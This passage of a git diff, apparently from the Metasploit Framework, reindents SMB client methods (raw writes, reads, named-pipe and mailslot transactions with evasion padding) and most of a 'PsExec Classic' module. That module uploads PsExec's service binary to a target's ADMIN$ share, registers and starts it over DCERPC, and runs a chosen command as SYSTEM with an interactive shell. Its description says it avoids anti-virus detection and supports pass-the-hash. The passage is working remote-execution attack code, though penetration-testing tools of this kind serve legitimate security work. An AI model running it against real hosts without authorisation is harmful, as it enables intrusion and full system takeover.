SMB parameters to some reasonable defaults + def smb_defaults(packet) + packet.v['MultiplexID'] = self.multiplex_id.to_i + packet.v['TreeID'] = self.last_tree_id.to_i + packet.v['UserID'] = self.auth_user_id.to_i + packet.v['ProcessID'] = self.process_id.to_i + self.multiplex_id = (self.multiplex_id + 16) % 65536 + end - # The main dispatcher for all incoming SMB packets - def smb_recv_parse(expected_type, ignore_errors = false) + # The main dispatcher for all incoming SMB packets + def smb_recv_parse(expected_type, ignore_errors = false) # This will throw an exception if it fails to read the whole packet data = self.smb_recv @@ -1273,268 +1273,268 @@ def write(file_id = self.last_file_id, offset = 0, data = '', do_recv = true) pkt['Payload']['SMB'].v['WordCount'] = 14 - pkt['Payload'].v['AndX'] = 255 - pkt['Payload'].v['FileID'] = file_id - pkt['Payload'].v['Offset'] = offset - pkt['Payload'].v['Reserved2'] = -1 - pkt['Payload'].v['WriteMode'] = 8 - pkt['Payload'].v['Remaining'] = data.length - # pkt['Payload'].v['DataLenHigh'] = (data.length / 65536).to_i - pkt['Payload'].v['DataLenLow'] = (data.length % 65536).to_i - pkt['Payload'].v['DataOffset'] = data_offset + filler.length - pkt['Payload'].v['Payload'] = filler + data + pkt['Payload'].v['AndX'] = 255 + pkt['Payload'].v['FileID'] = file_id + pkt['Payload'].v['Offset'] = offset + pkt['Payload'].v['Reserved2'] = -1 + pkt['Payload'].v['WriteMode'] = 8 + pkt['Payload'].v['Remaining'] = data.length + # pkt['Payload'].v['DataLenHigh'] = (data.length / 65536).to_i + pkt['Payload'].v['DataLenLow'] = (data.length % 65536).to_i + pkt['Payload'].v['DataOffset'] = data_offset + filler.length + pkt['Payload'].v['Payload'] = filler + data - ret = self.smb_send(pkt.to_s) - return ret if not do_recv + ret = self.smb_send(pkt.to_s) + return ret if not do_recv - ack = self.smb_recv_parse(CONST::SMB_COM_WRITE_ANDX) + ack = self.smb_recv_parse(CONST::SMB_COM_WRITE_ANDX) - return ack - end + return ack + end def write_raw(file_id, flags1, flags2, wordcount, andx_command, andx_offset, offset, write_mode, remaining, data_len_high, data_len_low, data_offset, high_offset, byte_count, data, do_recv) - pkt = CONST::SMB_WRITE_PKT.make_struct - self.smb_defaults(pkt['Payload']['SMB']) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX - pkt['Payload']['SMB'].v['Flags1'] = flags1 - pkt['Payload']['SMB'].v['Flags2'] = flags2 - - pkt['Payload']['SMB'].v['WordCount'] = wordcount - - pkt['Payload'].v['AndX'] = andx_command - pkt['Payload'].v['AndXOffset'] = andx_offset - pkt['Payload'].v['FileID'] = file_id - pkt['Payload'].v['Offset'] = offset - pkt['Payload'].v['Reserved2'] = -1 - pkt['Payload'].v['WriteMode'] = write_mode - pkt['Payload'].v['Remaining'] = remaining - pkt['Payload'].v['DataLenHigh'] = data_len_high - pkt['Payload'].v['DataLenLow'] = data_len_low - pkt['Payload'].v['DataOffset'] = data_offset - pkt['Payload'].v['HighOffset'] = high_offset - pkt['Payload'].v['ByteCount'] = byte_count - - pkt['Payload'].v['Payload'] = data - - ret = self.smb_send(pkt.to_s) - return ret if not do_recv - - ack = self.smb_recv_parse(CONST::SMB_COM_WRITE_ANDX) - return ack - end - - # Reads data from an open file handle - def read(file_id = self.last_file_id, offset = 0, data_length = 64000, do_recv = true) - - pkt = CONST::SMB_READ_PKT.make_struct - self.smb_defaults(pkt['Payload']['SMB']) - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX - pkt['Payload']['SMB'].v['Flags1'] = 0x18 - if self.require_signing - #ascii - pkt['Payload']['SMB'].v['Flags2'] = 0x2807 - else - #ascii - pkt['Payload']['SMB'].v['Flags2'] = 0x2801 - end - - pkt['Payload']['SMB'].v['WordCount'] = 10 - - pkt['Payload'].v['AndX'] = 255 - pkt['Payload'].v['FileID'] = file_id - pkt['Payload'].v['Offset'] = offset - # pkt['Payload'].v['MaxCountHigh'] = (data_length / 65536).to_i - pkt['Payload'].v['MaxCountLow'] = (data_length % 65536).to_i - pkt['Payload'].v['MinCount'] = data_length - pkt['Payload'].v['Reserved2'] = -1 - - ret = self.smb_send(pkt.to_s) - return ret if not do_recv - - ack = self.smb_recv_parse(CONST::SMB_COM_READ_ANDX, true) - - err = ack['Payload']['SMB'].v['ErrorClass'] - - # Catch some non-fatal error codes - if (err != 0 && err != CONST::SMB_ERROR_BUFFER_OVERFLOW) - failure = XCEPT::ErrorCode.new - failure.word_count = ack['Payload']['SMB'].v['WordCount'] - failure.command = ack['Payload']['SMB'].v['Command'] - failure.error_code = ack['Payload']['SMB'].v['ErrorClass'] - raise failure - end - - return ack - end - - - # Perform a transaction against a named pipe - def trans_named_pipe(file_id, data = '', no_response = nil) - pipe = EVADE.make_trans_named_pipe_name(evasion_opts['pad_file']) - self.trans(pipe, '', data, 2, [0x26, file_id].pack('vv'), no_response) - end - - # Perform a mailslot write over SMB - # Warning: This can kill srv.sys unless MS06-035 is applied - def trans_mailslot (name, data = '') - # Setup data must be: - # Operation: 1 (write) - # Priority: 0 - # Class: Reliable - self.trans_maxzero(name, '', data, 3, [1, 0, 1].pack('vvv'), true ) - end - - # Perform a transaction against a given pipe name - def trans(pipe, param = '', body = '', setup_count = 0, setup_data = '', no_response = false, do_recv = true) - - # Null-terminate the pipe parameter if needed - if (pipe[-1,1] != "\x00") - pipe << "\x00" - end - - pkt = CONST::SMB_TRANS_PKT.make_struct - self.smb_defaults(pkt['Payload']['SMB']) - - # Packets larger than mlen will cause XP SP2 to disconnect us ;-( - mlen = 4200 - - # Figure out how much space is taken up by our current arguments - xlen = pipe.length + param.length + body.length - - filler1 = '' - filler2 = '' - - # Fill any available space depending on the evasion settings - if (xlen < mlen) - filler1 = EVADE.make_offset_filler(evasion_opts['pad_data'], (mlen-xlen)/2) - filler2 = EVADE.make_offset_filler(evasion_opts['pad_data'], (mlen-xlen)/2) - end - - # Squish the whole thing together - data = pipe + filler1 + param + filler2 + body - - # Throw some form of a warning out? - if (data.length > mlen) - # XXX This call will more than likely fail :-( - end - - # Calculate all of the offsets - base_offset = pkt.to_s.length + (setup_count * 2) - 4 - param_offset = base_offset + pipe.length + filler1.length - data_offset = param_offset + filler2.length + param.length - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION - pkt['Payload']['SMB'].v['Flags1'] = 0x18 - if self.require_signing - #ascii - pkt['Payload']['SMB'].v['Flags2'] = 0x2807 - else - #ascii - pkt['Payload']['SMB'].v['Flags2'] = 0x2801 - end - - pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count - - pkt['Payload'].v['ParamCountTotal'] = param.length - pkt['Payload'].v['DataCountTotal'] = body.length - pkt['Payload'].v['ParamCountMax'] = 1024 - pkt['Payload'].v['DataCountMax'] = 65000 - pkt['Payload'].v['ParamCount'] = param.length - pkt['Payload'].v['ParamOffset'] = param_offset - pkt['Payload'].v['DataCount'] = body.length - pkt['Payload'].v['DataOffset'] = data_offset - pkt['Payload'].v['SetupCount'] = setup_count - pkt['Payload'].v['SetupData'] = setup_data - - pkt['Payload'].v['Payload'] = data - - if no_response - pkt['Payload'].v['Flags'] = 2 - end - - ret = self.smb_send(pkt.to_s) - return ret if no_response or not do_recv - - self.smb_recv_parse(CONST::SMB_COM_TRANSACTION) - end - - - - # Perform a transaction against a given pipe name - # Difference from trans: sets MaxParam/MaxData to zero - # This is required to trigger mailslot bug :-( - def trans_maxzero(pipe, param = '', body = '', setup_count = 0, setup_data = '', no_response = false, do_recv = true) - - # Null-terminate the pipe parameter if needed - if (pipe[-1] != 0) - pipe << "\x00" - end - - pkt = CONST::SMB_TRANS_PKT.make_struct - self.smb_defaults(pkt['Payload']['SMB']) - - # Packets larger than mlen will cause XP SP2 to disconnect us ;-( - mlen = 4200 - - # Figure out how much space is taken up by our current arguments - xlen = pipe.length + param.length + body.length - - filler1 = '' - filler2 = '' - - # Fill any available space depending on the evasion settings - if (xlen < mlen) - filler1 = EVADE.make_offset_filler(evasion_opts['pad_data'], (mlen-xlen)/2) - filler2 = EVADE.make_offset_filler(evasion_opts['pad_data'], (mlen-xlen)/2) - end - - # Squish the whole thing together - data = pipe + filler1 + param + filler2 + body - - # Throw some form of a warning out? - if (data.length > mlen) - # XXX This call will more than likely fail :-( - end - - # Calculate all of the offsets - base_offset = pkt.to_s.length + (setup_count * 2) - 4 - param_offset = base_offset + pipe.length + filler1.length - data_offset = param_offset + filler2.length + param.length - - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION - pkt['Payload']['SMB'].v['Flags1'] = 0x18 - if self.require_signing - #ascii - pkt['Payload']['SMB'].v['Flags2'] = 0x2807 - else - #ascii - pkt['Payload']['SMB'].v['Flags2'] = 0x2801 - end - - pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count - - pkt['Payload'].v['ParamCountTotal'] = param.length - pkt['Payload'].v['DataCountTotal'] = body.length - pkt['Payload'].v['ParamCountMax'] = 0 - pkt['Payload'].v['DataCountMax'] = 0 - pkt['Payload'].v['ParamCount'] = param.length - pkt['Payload'].v['ParamOffset'] = param_offset - pkt['Payload'].v['DataCount'] = body.length - pkt['Payload'].v['DataOffset'] = data_offset - pkt['Payload'].v['SetupCount'] = setup_count - pkt['Payload'].v['SetupData'] = setup_data - - pkt['Payload'].v['Payload'] = data - - if no_response - pkt['Payload'].v['Flags'] = 2 - end - - ret = self.smb_send(pkt.to_s) - return ret if no_response or not do_recv + pkt = CONST::SMB_WRITE_PKT.make_struct + self.smb_defaults(pkt['Payload']['SMB']) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX + pkt['Payload']['SMB'].v['Flags1'] = flags1 + pkt['Payload']['SMB'].v['Flags2'] = flags2 + + pkt['Payload']['SMB'].v['WordCount'] = wordcount + + pkt['Payload'].v['AndX'] = andx_command + pkt['Payload'].v['AndXOffset'] = andx_offset + pkt['Payload'].v['FileID'] = file_id + pkt['Payload'].v['Offset'] = offset + pkt['Payload'].v['Reserved2'] = -1 + pkt['Payload'].v['WriteMode'] = write_mode + pkt['Payload'].v['Remaining'] = remaining + pkt['Payload'].v['DataLenHigh'] = data_len_high + pkt['Payload'].v['DataLenLow'] = data_len_low + pkt['Payload'].v['DataOffset'] = data_offset + pkt['Payload'].v['HighOffset'] = high_offset + pkt['Payload'].v['ByteCount'] = byte_count + + pkt['Payload'].v['Payload'] = data + + ret = self.smb_send(pkt.to_s) + return ret if not do_recv + + ack = self.smb_recv_parse(CONST::SMB_COM_WRITE_ANDX) + return ack + end + + # Reads data from an open file handle + def read(file_id = self.last_file_id, offset = 0, data_length = 64000, do_recv = true) + + pkt = CONST::SMB_READ_PKT.make_struct + self.smb_defaults(pkt['Payload']['SMB']) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX + pkt['Payload']['SMB'].v['Flags1'] = 0x18 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + + pkt['Payload']['SMB'].v['WordCount'] = 10 + + pkt['Payload'].v['AndX'] = 255 + pkt['Payload'].v['FileID'] = file_id + pkt['Payload'].v['Offset'] = offset + # pkt['Payload'].v['MaxCountHigh'] = (data_length / 65536).to_i + pkt['Payload'].v['MaxCountLow'] = (data_length % 65536).to_i + pkt['Payload'].v['MinCount'] = data_length + pkt['Payload'].v['Reserved2'] = -1 + + ret = self.smb_send(pkt.to_s) + return ret if not do_recv + + ack = self.smb_recv_parse(CONST::SMB_COM_READ_ANDX, true) + + err = ack['Payload']['SMB'].v['ErrorClass'] + + # Catch some non-fatal error codes + if (err != 0 && err != CONST::SMB_ERROR_BUFFER_OVERFLOW) + failure = XCEPT::ErrorCode.new + failure.word_count = ack['Payload']['SMB'].v['WordCount'] + failure.command = ack['Payload']['SMB'].v['Command'] + failure.error_code = ack['Payload']['SMB'].v['ErrorClass'] + raise failure + end + + return ack + end + + + # Perform a transaction against a named pipe + def trans_named_pipe(file_id, data = '', no_response = nil) + pipe = EVADE.make_trans_named_pipe_name(evasion_opts['pad_file']) + self.trans(pipe, '', data, 2, [0x26, file_id].pack('vv'), no_response) + end + + # Perform a mailslot write over SMB + # Warning: This can kill srv.sys unless MS06-035 is applied + def trans_mailslot (name, data = '') + # Setup data must be: + # Operation: 1 (write) + # Priority: 0 + # Class: Reliable + self.trans_maxzero(name, '', data, 3, [1, 0, 1].pack('vvv'), true ) + end + + # Perform a transaction against a given pipe name + def trans(pipe, param = '', body = '', setup_count = 0, setup_data = '', no_response = false, do_recv = true) + + # Null-terminate the pipe parameter if needed + if (pipe[-1,1] != "\x00") + pipe << "\x00" + end + + pkt = CONST::SMB_TRANS_PKT.make_struct + self.smb_defaults(pkt['Payload']['SMB']) + + # Packets larger than mlen will cause XP SP2 to disconnect us ;-( + mlen = 4200 + + # Figure out how much space is taken up by our current arguments + xlen = pipe.length + param.length + body.length + + filler1 = '' + filler2 = '' + + # Fill any available space depending on the evasion settings + if (xlen < mlen) + filler1 = EVADE.make_offset_filler(evasion_opts['pad_data'], (mlen-xlen)/2) + filler2 = EVADE.make_offset_filler(evasion_opts['pad_data'], (mlen-xlen)/2) + end + + # Squish the whole thing together + data = pipe + filler1 + param + filler2 + body + + # Throw some form of a warning out? + if (data.length > mlen) + # XXX This call will more than likely fail :-( + end + + # Calculate all of the offsets + base_offset = pkt.to_s.length + (setup_count * 2) - 4 + param_offset = base_offset + pipe.length + filler1.length + data_offset = param_offset + filler2.length + param.length + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION + pkt['Payload']['SMB'].v['Flags1'] = 0x18 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + + pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count + + pkt['Payload'].v['ParamCountTotal'] = param.length + pkt['Payload'].v['DataCountTotal'] = body.length + pkt['Payload'].v['ParamCountMax'] = 1024 + pkt['Payload'].v['DataCountMax'] = 65000 + pkt['Payload'].v['ParamCount'] = param.length + pkt['Payload'].v['ParamOffset'] = param_offset + pkt['Payload'].v['DataCount'] = body.length + pkt['Payload'].v['DataOffset'] = data_offset + pkt['Payload'].v['SetupCount'] = setup_count + pkt['Payload'].v['SetupData'] = setup_data + + pkt['Payload'].v['Payload'] = data + + if no_response + pkt['Payload'].v['Flags'] = 2 + end + + ret = self.smb_send(pkt.to_s) + return ret if no_response or not do_recv + + self.smb_recv_parse(CONST::SMB_COM_TRANSACTION) + end + + + + # Perform a transaction against a given pipe name + # Difference from trans: sets MaxParam/MaxData to zero + # This is required to trigger mailslot bug :-( + def trans_maxzero(pipe, param = '', body = '', setup_count = 0, setup_data = '', no_response = false, do_recv = true) + + # Null-terminate the pipe parameter if needed + if (pipe[-1] != 0) + pipe << "\x00" + end + + pkt = CONST::SMB_TRANS_PKT.make_struct + self.smb_defaults(pkt['Payload']['SMB']) + + # Packets larger than mlen will cause XP SP2 to disconnect us ;-( + mlen = 4200 + + # Figure out how much space is taken up by our current arguments + xlen = pipe.length + param.length + body.length + + filler1 = '' + filler2 = '' + + # Fill any available space depending on the evasion settings + if (xlen < mlen) + filler1 = EVADE.make_offset_filler(evasion_opts['pad_data'], (mlen-xlen)/2) + filler2 = EVADE.make_offset_filler(evasion_opts['pad_data'], (mlen-xlen)/2) + end + + # Squish the whole thing together + data = pipe + filler1 + param + filler2 + body + + # Throw some form of a warning out? + if (data.length > mlen) + # XXX This call will more than likely fail :-( + end + + # Calculate all of the offsets + base_offset = pkt.to_s.length + (setup_count * 2) - 4 + param_offset = base_offset + pipe.length + filler1.length + data_offset = param_offset + filler2.length + param.length + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION + pkt['Payload']['SMB'].v['Flags1'] = 0x18 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + + pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count + + pkt['Payload'].v['ParamCountTotal'] = param.length + pkt['Payload'].v['DataCountTotal'] = body.length + pkt['Payload'].v['ParamCountMax'] = 0 + pkt['Payload'].v['DataCountMax'] = 0 + pkt['Payload'].v['ParamCount'] = param.length + pkt['Payload'].v['ParamOffset'] = param_offset + pkt['Payload'].v['DataCount'] = body.length + pkt['Payload'].v['DataOffset'] = data_offset + pkt['Payload'].v['SetupCount'] = setup_count + pkt['Payload'].v['SetupData'] = setup_data + + pkt['Payload'].v['Payload'] = data + + if no_response + pkt['Payload'].v['Flags'] = 2 + end + + ret = self.smb_send(pkt.to_s) + return ret if no_response or not do_recv self.smb_recv_parse(CONST::SMB_COM_TRANSACTION) end diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb index eaa4790bde2f2..502acb21a7378 100644 --- a/modules/auxiliary/admin/smb/psexec_classic.rb +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -12,401 +12,401 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated - include Msf::Exploit::Remote::SMB::PsexecSvc - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'PsExec Classic', - 'Description' => %q{ - This module mimics the classic PsExec tool from Microsoft SysInternals. Anti-virus software has recently rendered the commonly-used exploit/windows/smb/psexec module much less useful - because the uploaded executable stub is usually detected and deleted before it can be used. This module sends the same code to the target as the authentic PsExec - (which happens to have a digital signature from Microsoft), thus anti-virus software cannot distinguish the difference. AV cannot block it without also blocking the authentic version. - Of course, this module also supports pass-the-hash, which the authentic PsExec does not. You must provide a local path to the authentic PsExec.exe (via the PSEXEC_PATH option) - so that the PSEXESVC.EXE service code can be extracted and uploaded to the target. The specified command (via the COMMAND option) will be executed with SYSTEM privileges. - }, - 'Author' => - [ - 'Joe Testa ', - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] - ], - 'Platform' => 'win', - )) - - register_options( - [ - OptString.new('PSEXEC_PATH', [ true, "The local path to the authentic PsExec.exe", '' ]), - OptString.new('COMMAND', [ true, "The program to execute with SYSTEM privileges.", 'cmd.exe' ]) - ], self.class ) - end - - def run() - psexec_path = datastore['PSEXEC_PATH'] - command = datastore['COMMAND'] - - psexesvc = extract_psexesvc(psexec_path, true) - - print_status("Connecting to #{datastore['RHOST']}...") - if not connect - print_error("Failed to connect.") - return false - end - - print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") - smb_login - - if (not simple.client.auth_user) - print_error("Server granted only Guest privileges.") - disconnect - return false - end - - - print_status('Uploading PSEXESVC.EXE...') - simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") - - # Attempt to upload PSEXESVC.EXE into the ADMIN$ share. If this - # fails, attempt to continue since it might already exist from - # a previous run. - begin - fd = smb_open('\\PSEXESVC.EXE', 'rwct') - fd << psexesvc - fd.close - print_status('Created \PSEXESVC.EXE in ADMIN$ share.') - rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - # 0xC0000043 = STATUS_SHARING_VIOLATION, which in this - # case means that the file was already there from a - # previous invocation... - if e.error_code == 0xC0000043 - print_error('Failed to upload PSEXESVC.EXE into ADMIN$ share because it already exists. Attepting to continue...') - else - print_error('Error ' + e.get_error(e.error_code) + ' while uploading PSEXESVC.EXE into ADMIN$ share. Attempting to continue...') - end - end - psexesvc = nil - - simple.disconnect("\\\\#{datastore['RHOST']}\\ADMIN\$") - - print_status('Connecting to IPC$...') - simple.connect("\\\\#{datastore['RHOST']}\\IPC\$") - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - print_status("Binding to DCERPC handle #{handle}...") - dcerpc_bind(handle) - print_status("Successfully bound to #{handle} ...") - - - begin - # Get a handle to the service control manager. - print_status('Obtaining a service control manager handle...') - scm_handle = dce_openscmanagerw(dcerpc, datastore['RHOST']) - if scm_handle == nil - print_error('Failed to obtain handle to service control manager.') - return - end - - # Create the service. - print_status('Creating a new service (PSEXECSVC - "PsExec")...') - begin - svc_handle = dce_createservicew(dcerpc, - scm_handle, - 'PSEXESVC', # Service name - 'PsExec', # Display name - '%SystemRoot%\PSEXESVC.EXE', # Binary path - {:type => 0x00000010}) # Type: Own process - if svc_handle == nil - print_error('Error while creating new service.') - return - end - - # Close the handle to the service. - if not dce_closehandle(dcerpc, svc_handle) - print_error('Failed to close service handle.') - # If this fails, we can still continue... - end - - rescue ::Exception => e - # An exception can occur if the service already exists due to a prior unclean shutdown. We can try to - # continue anyway. - end - - # Re-open the service. In case we failed to create the service because it already exists from a previous invokation, - # this will obtain a handle to it regardless. - print_status('Opening service...') - svc_handle = dce_openservicew(dcerpc, scm_handle, 'PSEXESVC') - if svc_handle == nil - print_error('Failed to open service.') - return - end - - # Start the service. - print_status('Starting the service...') - if not dce_startservice(dcerpc, svc_handle) - print_error('Failed to start the service.') - return - end - - rescue ::Exception => e - print_error("Error: #{e}\n#{e.backtrace.join("\n")}") - return - end - - - print_status("Connecting to \\psexecsvc pipe...") - psexecsvc_proc = simple.create_pipe('\psexecsvc') - - # For some reason, the service needs to be pinged first to - # wake it up... - magic = simple.trans_pipe(psexecsvc_proc.file_id, NDR.long(0xBE)) - - # Make up a random hostname and local PID to send to the - # service. It will create named pipes for stdin/out/err based - # on these. - random_hostname = Rex::Text.rand_text_alpha(12) - random_client_pid_low = rand(255) - random_client_pid_high = rand(255) - random_client_pid = (random_client_pid_low + (random_client_pid_high * 256)).to_s - - print_status("Instructing service to execute #{command}...") - smbclient = simple.client - - # The standard client.write() method doesn't work since the - # service is expecting certain packet flags to be set. Hence, - # we need to use client.write_raw() and specify everything - # ourselves (such as Unicode strings, AndXOffsets, and data - # offsets). - - # In the first message, we tell the service our made-up - # hostname and PID, and tell it what program to execute. - smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, - 255, 0, 0, 0x000c, 19032, 0, 4292, 64, 0, 4293, - "\xee\x58\x4a\x58\x4a\x00\x00" << - random_client_pid_low.chr << - random_client_pid_high.chr << "\x00\x00" << - Rex::Text.to_unicode(random_hostname) << - ("\x00" * 496) << Rex::Text.to_unicode(command) << - ("\x00" * (3762 - (command.length * 2))), true) - - # In the next three messages, we just send lots of zero bytes... - smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 4290, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) - - smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 8580, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) - - smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, 255, 57054, 12870, 0x0004, 19032, 0, 4290, 64, 0, 4291, "\xee" << ("\x00" * 4290), true) - - # In the final message, we give it some magic bytes. This - # (somehow) corresponds to the "-s" flag in PsExec.exe, which - # tells it to execute the specified command as SYSTEM. - smbclient.write_raw(psexecsvc_proc.file_id, 0x18, 0xc807, 14, - 255, 57054, 17160, 0x0004, 19032, 0, 1872, 64, 0, 1873, - "\xee" << ("\x00" * 793) << "\x01" << ("\x00" * 14) << - "\xff\xff\xff\xff" << ("\x00" * 1048) << "\x01" << - ("\x00" * 11), true) - - - # Connect to the named pipes that correspond to stdin, stdout, - # and stderr. - psexecsvc_proc_stdin = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stdin") - psexecsvc_proc_stdout = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stdout") - psexecsvc_proc_stderr = connect_to_pipe("\psexecsvc-#{random_hostname}-#{random_client_pid}-stderr") - - - # Read from stdout and stderr. We need to record the multiplex - # IDs so that when we get a response, we know which it belongs - # to. Trial & error showed that the service DOES NOT like it - # when you repeatedly try to read from a pipe when it hasn't - # returned from the last call. Hence, we use these IDs to know - # when to call read again. - stdout_multiplex_id = smbclient.multiplex_id - smbclient.read(psexecsvc_proc_stdout.file_id, 0, 1024, false) - - stderr_multiplex_id = smbclient.multiplex_id - smbclient.read(psexecsvc_proc_stderr.file_id, 0, 1024, false) - - # Loop to read responses from the server and process commands - # from the user. - socket = smbclient.socket - rds = [socket, $stdin] - wds = [] - eds = [] - last_char = nil - - begin - while true - r,w,e = ::IO.select(rds, wds, eds, 1.0) - - # If we have data from the socket to read... - if (r != nil) and (r.include? socket) - - # Read the SMB packet. - data = smbclient.smb_recv - smbpacket = Rex::Proto::SMB::Constants::SMB_BASE_PKT.make_struct - smbpacket.from_s(data) - - # If this is a response to our read - # command... - if smbpacket['Payload']['SMB'].v['Command'] == Rex::Proto::SMB::Constants::SMB_COM_READ_ANDX - parsed_smbpacket = smbclient.smb_parse_read(smbpacket, data) - - # Check to see if this is a STATUS_PIPE_DISCONNECTED - # (0xc00000b0) message, which tells us that the remote program - # has terminated. - if parsed_smbpacket['Payload']['SMB'].v['ErrorClass'] == 0xc00000b0 - print_status "Received STATUS_PIPE_DISCONNECTED. Terminating..." - # Read in another SMB packet, since program termination - # causes both the stdout and stderr pipes to issue a - # disconnect message. - smbclient.smb_recv rescue nil - - # Break out of the while loop so we can clean up. - break - end - - # Print the data from our read request. - print parsed_smbpacket['Payload'].v['Payload'] - - # Check the multiplex ID from this read response, and see - # which pipe it came from (stdout or stderr?). Issue another - # read request on that pipe. - received_multiplex_id = parsed_smbpacket['Payload']['SMB'].v['MultiplexID'] - if received_multiplex_id == stdout_multiplex_id - stdout_multiplex_id = smbclient.multiplex_id - smbclient.read(psexecsvc_proc_stdout.file_id, 0, 1024, false) - elsif received_multiplex_id == stderr_multiplex_id - stderr_multiplex_id = smbclient.multiplex_id - smbclient.read(psexecsvc_proc_stderr.file_id, 0, 1024, false) - end - end - end - - # If the user entered some input. - if (r != nil) and (r.include? $stdin) - - # There's actually an entire line of text available, but the - # standard PsExec.exe client sends one byte at a time, so we'll - # duplicate this behavior. - data = $stdin.read_nonblock(1) - - # The remote program expects CRLF line endings, but in Linux, we - # only get LF line endings... - if data == "\x0a" and last_char != "\x0d" - smbclient.write_raw(psexecsvc_proc_stdin.file_id, 0x18, 0xc807, 14, 255, 57054, 0, 0x0008, 1, 0, 1, 64, 0, 2, "\xee\x0d", true) - end - - smbclient.write_raw(psexecsvc_proc_stdin.file_id, 0x18, 0xc807, 14, 255, 57054, 0, 0x0008, 1, 0, 1, 64, 0, 2, "\xee" << data, true) - last_char = data - end - end - rescue ::Exception => e - print_error("Error: #{e}") - print_status('Attempting to terminate gracefully...') - end - - - # Time to clean up. Close the handles to stdin, stdout, - # stderr, as well as the handle to the \psexecsvc pipe. - smbclient.close(psexecsvc_proc_stdin.file_id) rescue nil - smbclient.close(psexecsvc_proc_stdout.file_id) rescue nil - smbclient.close(psexecsvc_proc_stderr.file_id) rescue nil - smbclient.close(psexecsvc_proc.file_id) rescue nil - - # Stop the service. - begin - print_status('Stopping the service...') - if not dce_stopservice(dcerpc, svc_handle) - print_error('Error while stopping the service.') - # We will try to continue anyway... - end - rescue ::Exception => e - print_error("Error: #{e}\n#{e.backtrace.join("\n")}") - end - - # Wait a little bit for it to stop before we delete the service. - if wait_for_service_to_stop(svc_handle) == false - print_error('Could not stop the PSEXECSVC service. Attempting to continue cleanup...') - end - - # Delete the service. - begin - print_status("Removing the service...") - if not dce_deleteservice(dcerpc, svc_handle) - print_error('Error while deleting the service.') - # We will try to continue anyway... - end - - print_status("Closing service handle...") - if not dce_closehandle(dcerpc, svc_handle) - print_error('Error while closing the service handle.') - # We will try to continue anyway... - end - rescue ::Exception => e - print_error("Error: #{e}\n#{e.backtrace.join("\n")}") - end - - - # Disconnect from the IPC$ share. - print_status("Disconnecting from \\\\#{datastore['RHOST']}\\IPC\$") - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC\$") - - # Connect to the ADMIN$ share so we can delete PSEXECSVC.EXE. - print_status("Connecting to \\\\#{datastore['RHOST']}\\ADMIN\$") - simple.connect("\\\\#{datastore['RHOST']}\\ADMIN\$") - - print_status('Deleting \\PSEXESVC.EXE...') - simple.delete('\\PSEXESVC.EXE') - - # Disconnect from the ADMIN$ share. Now we're done! - print_status("Disconnecting from \\\\#{datastore['RHOST']}\\ADMIN\$") - simple.disconnect("\\\\#{datastore['RHOST']}\\ADMIN\$") - - end - - # Connects to the specified named pipe. If it cannot be done, up - # to three retries are made. - def connect_to_pipe(pipe_name) - retries = 0 - pipe_fd = nil - while (retries < 3) and (pipe_fd == nil) - # On the first retry, wait one second, on the second - # retry, wait two... - select(nil, nil, nil, retries) - - begin - pipe_fd = simple.create_pipe(pipe_name) - rescue - retries += 1 - end - end - - if pipe_fd != nil - print_status("Connected to named pipe #{pipe_name}.") - else - print_error("Failed to connect to #{pipe_name}!") - end - - return pipe_fd - end - - # Query the service and wait until its stopped. Wait one second - # before the first retry, two seconds before the second retry, - # and three seconds before the last attempt. - def wait_for_service_to_stop(svc_handle) - service_stopped = false - retries = 0 - while (retries < 3) and (service_stopped == false) - select(nil, nil, nil, retries) - - if dce_queryservice(dcerpc, svc_handle) == 2 - service_stopped = true - else - retries += 1 - end - end - return service_stopped - end + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::PsexecSvc + + def initialize(info = {}) + super(update_info(info, + 